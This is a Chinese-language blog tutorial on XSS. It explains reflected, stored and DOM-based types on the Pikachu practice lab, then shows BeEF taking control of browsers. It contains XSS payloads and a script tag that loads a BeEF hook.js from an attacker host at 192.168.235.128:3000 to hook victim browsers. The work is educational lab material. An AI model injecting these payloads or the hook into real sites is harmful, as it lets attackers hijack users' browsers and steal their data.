XSS漏洞及其工具Beef使用

    XSS(Cross Site Scripting,跨站脚本漏洞)漏洞,又叫 CSS 漏洞,是最常见的 Web 应用程序漏洞。其主要原理是当动态页面中插入的内容含有特殊字符(如<)时,用户浏览器会将其误认为是插入了HTML 标签,当这些HTML标签引入了一段 JavaScript 脚本时,这些脚本程序就将会在用户浏览器中执行,造成 XSS 攻击。

XSS 漏洞产生条件主要包含以下三个方面:

  • (1)可以控制的输入点。
  • (2)对输入数据没有进行有效的过滤和校验
  • (3)输入的数据能返回到前端页面并被浏览器当成脚本语言解释执行

漏洞分类

依据攻击代码的工作方式可以将 XSS 漏洞分为三种类型:

  • (1)反射型
  • (2)存储型
  • (3)DOM型

(1)反射型

    反射型XSS,又称非持久型 XSS,之所以称为反射型 XSS,是因为这种攻击方式的注入代码是从目标服务器通过错误信息、搜索结果等方式“反射”回来,而称为非持久型 XSS,则是因为这种攻击方式是一次性的。攻击者通过通信工具、电子邮件等方式,将包含注入脚本的恶意链接发送给受害者,当受害者点击该链接时,注入脚本被传输到目标服务器上,服务器再将注入脚本“反射”到受害者的浏览器上,浏览器则会执行脚本。

基于pakachu平台演示一个反射型

输入'"<>666,发现没有被过滤掉

输入<script>alert(1)</script>,删掉maxlength的20个字符的限制

(2)存储型

    存储型XSS(Cross-Site Scripting)是一种常见的Web安全漏洞。攻击者往Web应用程序中注入恶意代码,这些代码被存储在服务器端。当其他用户浏览这些页面时,嵌入的恶意代码就会被执行。存储型XSS攻击通常发生在用户留言板、论坛、博客、收货地址、个人信息等需要用户输入且保存在数据库的地方,从而收到攻击。

查看过滤'"<>666

<script>alert(1)</script>

(3)DOM型

    DOM(Document Object Model)即文档对象模型,提供通过JavaScript对HTML操作的接口。DOM型漏洞是客户端JavaScript脚本处理逻辑存在的漏洞,会导致的安全问题。跟反射型和存储型不同,DOM型漏洞不经过后台交互。
下面基于pikachu平台,演示一个完整的DOM型XSS漏洞测试过程

查看源码

通过分析源码可知,JavaScript使用getElementById 函数获取标签Id为text的内容,然后赋值给str,再把st拼接其他内容后赋值给a标签的href属性,a标签被写到Id为dom的div标签中,因此,通过闭合的方式构造Payload为“#'οnclick= alert("xss")>”

   <div id="xssd_main">
                <script>
                    function domxss(){
                        var str = document.getElementById("text").value;
                        document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
                    }
                    //试试:'><img src="#" onmouseover="alert('xss')">
                    //试试:' onclick="alert('xss')">,闭合掉就行
                </script>
                <!--<a href="" onclick=('xss')>-->
                <input id="text" name="text" type="text"  value="" />
                <input id="button" type="button" value="click me!" onclick="domxss()" />
                <div id="dom"></div>
            </div>

构造payload  #' οnclick= alert("xss")>点击

Beef

Beef(The Browser Exploitation Framework)是一款针对浏览器的渗透测试工具,一旦 Beef 钩住了浏览器,它将自动获取浏览器信息,同时可以进行社会工程学、网络攻击,也可以进行Tunneling 和 XSS Rays。Kali Linux 默认安装了 Beef。

下面基于 pikachu 平台中 XSS 漏洞模块和Kali Linux 演示一个 XSS 漏洞的综合利用案例。

访问beef

打开pakachu的xss(get)构造payload

<script src=http://192.168.235.128:3000/hook.js></script>

我们发现客户机已经在beef攻击平台上上线了。

选中上线主机我们就可以进行攻击了

在Command窗口,存放着一些可以执行的命令,不同颜色命令表示靶机浏览器的反应程度:

  • 绿色模块:表示模块适用当前用户,并且执行结果对用户不可见;
  • 灰色模块:模块为在目标浏览器上测试过;
  • 橙色模块:模块可用,但结果对用户可见;
  • 红色模块:表示模块不适用当前用户,有些红色模块也可以执行,会有较大反应。

详情可以在beef官网查看使用情况:

BeEF - The Browser Exploitation Framework Project

  • 24
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值